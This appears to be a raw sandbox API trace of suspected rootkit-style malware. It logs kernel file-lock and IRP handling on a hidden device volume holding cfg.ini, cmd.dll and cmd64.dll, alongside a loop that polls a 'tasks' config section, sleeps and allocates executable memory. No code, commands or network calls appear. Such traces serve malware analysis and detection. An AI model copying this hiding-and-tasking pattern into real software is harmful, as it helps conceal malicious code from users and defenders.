[0125.854] IdePortDispatch () returned 0x103 [0125.854] KeWaitForMutexObject () returned 0x0 [0125.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.854] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.854] IdePortDispatch () returned 0x103 [0125.855] KeWaitForMutexObject () returned 0x0 [0125.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.855] KeLeaveCriticalRegion () [0125.855] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.855] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.855] KeEnterCriticalRegion () [0125.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.855] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.855] KeLeaveCriticalRegion () [0125.855] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.855] KeEnterCriticalRegion () [0125.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.855] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.855] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.855] KeLeaveCriticalRegion () [0125.855] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.855] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.855] KeEnterCriticalRegion () [0125.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.855] ExFreePoolWithTag (P=0xfffffa8003bf91d0, Tag=0x0) [0125.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.856] KeLeaveCriticalRegion () [0125.856] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.856] ReleaseMutex (hMutex=0xf0) returned 1 [0125.856] Sleep (dwMilliseconds=0x927c0) [0125.865] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.865] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.869] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.869] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.870] KeEnterCriticalRegion () [0125.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.870] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.870] IdePortDispatch () returned 0x103 [0125.870] KeWaitForMutexObject () returned 0x0 [0125.870] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.870] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.870] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.870] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.870] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.870] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4450 [0125.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.870] KeLeaveCriticalRegion () [0125.870] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.870] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.870] KeEnterCriticalRegion () [0125.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.870] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.870] KeLeaveCriticalRegion () [0125.870] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.870] KeEnterCriticalRegion () [0125.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.870] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.870] IdePortDispatch () returned 0x103 [0125.870] KeWaitForMutexObject () returned 0x0 [0125.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.871] KeLeaveCriticalRegion () [0125.871] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.871] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.871] KeEnterCriticalRegion () [0125.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d11000 [0125.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.871] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.871] IdePortDispatch () returned 0x103 [0125.871] KeWaitForMutexObject () returned 0x0 [0125.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.871] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.871] IdePortDispatch () returned 0x103 [0125.871] KeWaitForMutexObject () returned 0x0 [0125.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.871] KeLeaveCriticalRegion () [0125.871] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.872] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.872] KeEnterCriticalRegion () [0125.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.872] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.872] KeLeaveCriticalRegion () [0125.872] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.872] KeEnterCriticalRegion () [0125.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.872] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.872] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.872] KeLeaveCriticalRegion () [0125.872] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.872] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.872] KeEnterCriticalRegion () [0125.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.872] ExFreePoolWithTag (P=0xfffffa8003bf4450, Tag=0x0) [0125.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.872] KeLeaveCriticalRegion () [0125.872] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.872] ReleaseMutex (hMutex=0xf0) returned 1 [0125.873] Sleep (dwMilliseconds=0x927c0) [0125.886] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.886] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.886] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.886] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.886] KeEnterCriticalRegion () [0125.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.889] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.889] IdePortDispatch () returned 0x103 [0125.889] KeWaitForMutexObject () returned 0x0 [0125.890] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.890] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.890] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.890] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.890] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.890] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9830 [0125.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.890] KeLeaveCriticalRegion () [0125.890] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.890] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.890] KeEnterCriticalRegion () [0125.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.890] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.890] KeLeaveCriticalRegion () [0125.890] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.890] KeEnterCriticalRegion () [0125.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.890] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.890] IdePortDispatch () returned 0x103 [0125.890] KeWaitForMutexObject () returned 0x0 [0125.890] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.890] KeLeaveCriticalRegion () [0125.890] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.890] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.890] KeEnterCriticalRegion () [0125.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.890] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d17000 [0125.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.890] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.891] IdePortDispatch () returned 0x103 [0125.891] KeWaitForMutexObject () returned 0x0 [0125.891] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.891] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.891] IdePortDispatch () returned 0x103 [0125.891] KeWaitForMutexObject () returned 0x0 [0125.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.891] KeLeaveCriticalRegion () [0125.891] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.892] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.892] KeEnterCriticalRegion () [0125.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.892] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.892] KeLeaveCriticalRegion () [0125.892] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.892] KeEnterCriticalRegion () [0125.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.892] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.892] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.892] KeLeaveCriticalRegion () [0125.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.892] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.892] KeEnterCriticalRegion () [0125.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.892] ExFreePoolWithTag (P=0xfffffa8003bf9830, Tag=0x0) [0125.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.892] KeLeaveCriticalRegion () [0125.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.892] ReleaseMutex (hMutex=0xf0) returned 1 [0125.892] Sleep (dwMilliseconds=0x927c0) [0125.909] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.909] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.909] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.909] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.909] KeEnterCriticalRegion () [0125.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.909] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.909] IdePortDispatch () returned 0x103 [0125.909] KeWaitForMutexObject () returned 0x0 [0125.909] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.909] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.909] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.909] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.909] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.909] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036ffef0 [0125.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.909] KeLeaveCriticalRegion () [0125.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.909] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.909] KeEnterCriticalRegion () [0125.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.909] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.909] KeLeaveCriticalRegion () [0125.909] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.909] KeEnterCriticalRegion () [0125.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.909] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.909] IdePortDispatch () returned 0x103 [0125.910] KeWaitForMutexObject () returned 0x0 [0125.910] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.910] KeLeaveCriticalRegion () [0125.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.910] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.910] KeEnterCriticalRegion () [0125.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.910] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1c000 [0125.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.910] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.910] IdePortDispatch () returned 0x103 [0125.910] KeWaitForMutexObject () returned 0x0 [0125.910] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.910] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.910] IdePortDispatch () returned 0x103 [0125.910] KeWaitForMutexObject () returned 0x0 [0125.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.911] KeLeaveCriticalRegion () [0125.911] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.911] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.911] KeEnterCriticalRegion () [0125.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.911] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.911] KeLeaveCriticalRegion () [0125.911] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.911] KeEnterCriticalRegion () [0125.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.911] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.911] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac65e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.911] KeLeaveCriticalRegion () [0125.911] 